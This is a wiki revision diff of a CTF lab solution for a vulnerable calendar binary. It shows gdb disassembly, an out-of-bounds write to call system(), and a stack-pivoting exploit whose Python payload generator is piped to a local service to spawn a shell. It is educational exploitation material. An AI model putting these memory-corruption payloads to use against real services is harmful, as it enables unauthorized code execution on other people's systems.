User Tools

Site Tools


session:solution:mid-ctf_tasks2_4

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Next revision
Previous revision
session:solution:mid-ctf_tasks2_4 [2014/07/11 13:08]
rcaragea
session:solution:mid-ctf_tasks2_4 [2020/07/19 12:49] (current)
Line 10: Line 10:
  
 <code bash> <code bash>
-gdb ./hibercal+gdb ./hibercal
 gdb-peda$ pdis hibercal gdb-peda$ pdis hibercal
 Dump of assembler code for function hibercal: Dump of assembler code for function hibercal:
Line 137: Line 137:
 Let's try it. Let's try it.
 <code bash> <code bash>
- # gdb ./hibercal +gdb ./hibercal 
 gdb-peda$ p system gdb-peda$ p system
 $1 = {<text variable, no debug info>} 0x80486f0 <system@plt> $1 = {<text variable, no debug info>} 0x80486f0 <system@plt>
 gdb-peda$ quit gdb-peda$ quit
  
-python+python
 >>> 0x80486f0 >>> 0x80486f0
 134514416 134514416
  
-nc 127.0.0.1 4242+nc 127.0.0.1 4242
 Enter your name: Enter your name:
  
Line 365: Line 365:
  
 <code bash> <code bash>
-nc 127.0.0.1 4242+nc 127.0.0.1 4242
 Enter your name: Enter your name:
  
Line 374: Line 374:
 What do you want to write? What do you want to write?
 1 1
-dmesg|tail -1+dmesg|tail -1
 ubercal[23403]: segfault at bff9d2ac ip 00000000080489ab sp 00000000bfffecb0 error 6 in ubercal[8048000+1000] ubercal[23403]: segfault at bff9d2ac ip 00000000080489ab sp 00000000bfffecb0 error 6 in ubercal[8048000+1000]
 </code> </code>
Line 384: Line 384:
  
 <code bash> <code bash>
-nc 127.0.0.1 4242+nc 127.0.0.1 4242
 Enter your name: Enter your name:
  
Line 398: Line 398:
  
 Works as expected! Works as expected!
 +
 +==== Solving using Paul's idea (stack pivoting) ====
 +During the CTF Paul mentioned that he sees the solution as corrupting the stack frame so that when the function returns you get more "room" where to write both **system** and its argument.
 +It's a much more difficult solution but doable. Let's try it.
 +
 +The whole idea is to use the **leave** and **ret** set of instructions to do some magic.
 +**leave** esentially does
 +<code asm>
 +mov esp, ebp
 +pop ebp
 +</code>
 +
 +So the top of the stack now points to the saved ebp and ebp is restored from this new top of the stack.
 +Remember that we can overwrite the return address. But we can also overwrite the saved ebp just as well.
 +
 +If we replace ebp with 0x41424344 only the ebp will change. Remember that we would like a primitive that does **mov esp, ARBITRARY**.
 +Luckily, immediately after **leave** and **ret** the next set of instructions is another **leave** and **ret**.
 +
 +So the context is the following:
 +<code>
 +Initially:                            ESP = old_esp, EBP = current_ebp, saved_ebp = our_input
 +After leave part1 (mov esp, ebp):     ESP = current_ebp    EBP = current_ebp,   saved_ebp = our_input
 +After leave part2 (pop ebp):          ESP = current_ebp + 4    EBP = saved_ebp = our_input
 +
 +After return:                         ESP = current_ebp + 8     EBP = our_input
 +
 +
 +After leave part1 (mov esp, ebp):     ESP = our_input,      EBP = our_input
 +After leave part2 (pop ebp):          ESP = our_input + 4   EBP= first 4 bytes at the address "our_input"
 +
 +After return:                         ESP = our_input + 8   EIP=bytes 4:7 at the address "our_input"     EBP= first 4 bytes at the address "our_input"
 +</code>
 +
 +We can control EIP with bytes 4:7 and the stack as well.
 +We can reuse the instruction at 0x080488d1:
 +<code asm>
 +   0x080488ca <+30>: mov    DWORD PTR [esp],0x8048cec
 +   0x080488d1 <+37>: call   0x80486f0 <system@plt>
 +</code>
 +We see the call to **system** expects the parameter to be right on the top of the stack.
 +Our payload should now be like this:
 +<code>
 +00: value of our_input
 +04: 0x080488d1 (call to system)
 +08: address that holds the command given to system
 +0c: ????
 +</code>
 +
 +Since the only buffer we control is the name we want the following:
 +<code>
 +name+00 : address of name
 +name+04 : 0x080488d1 (call to system)
 +name+08 : address of name+0c
 +name+0c : the actual command
 +</code>
 +
 +All we need now is to find out the address of the **name** buffer. We have the following snippets:
 +
 +<code asm>
 +   0x080489c6 <+218>: lea    eax,[ebp-0xb0]
 +   0x080489cc <+224>: mov    DWORD PTR [esp],eax
 +   0x080489cf <+227>: call   0x80486e0 <puts@plt>
 +
 +
 +
 +   0x080489af <+195>: lea    eax,[ebp-0x4c]
 +   0x080489b2 <+198>: mov    DWORD PTR [esp],eax
 +   0x080489b5 <+201>: call   0x80488d8 <process_calendar>
 +</code>
 +So
 +<code>
 +
 +name = ebp - 0xb0
 +calendar = ebp - 0x4c
 +
 +
 +name - calendar = - 0xb0 + 0x4c = -100
 +
 +name = calendar - 100
 +</code>
 +But we already know the address of **calendar** from before. It's X from the previous solution using dmesg.
 +
 +The only thing that remains is to pass the value of ebp correctly. Since **allowed_day** is declared as a signed integer we need to convert it.
 +
 +The full python script is:
 +<code python>
 +#!/usr/bin/python
 +import struct,sys;
 +
 +
 +segv_addr = 0xbff9dc5c
 +calendar_addr = segv_addr + 100000 * 4
 +buffer_addr = calendar_addr - 100
 +
 +
 +
 +val = struct.unpack("<i", struct.pack("<I", buffer_addr))
 +
 +sys.stderr.write(" Use 19 and %s as input\n" % val)
 +
 +
 +
 +payload = struct.pack('<I', buffer_addr)
 +payload += struct.pack('<I', 0x080488d1)
 +payload += struct.pack('<I', buffer_addr + 12) #skip these first 4 + 4 + 4  bytes
 +payload += "/bin/sh"
 +
 +print payload
 +
 +</code>
 +
 +And now we try it:
 +<code bash>
 +$ cat <(python gen_input.py) - | nc 127.0.0.1 4242
 +Enter your name:
 +
 + Use 19 and -1073746712 as input
 +You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one!
 +Which day?
 +19
 +What do you want to write?
 +-1073746712
 +Goodbye
 +èìÿ¿ôìÿ¿/bin/sh
 +date
 +Fri Jul 11 13:50:37 EEST 2014
 +ls
 +Makefile
 +README
 +ubercal
 +ubercal.c
 +
 +</code>
 +
 +
session/solution/mid-ctf_tasks2_4.1405073321.txt.gz · Last modified: 2014/07/11 13:08 by rcaragea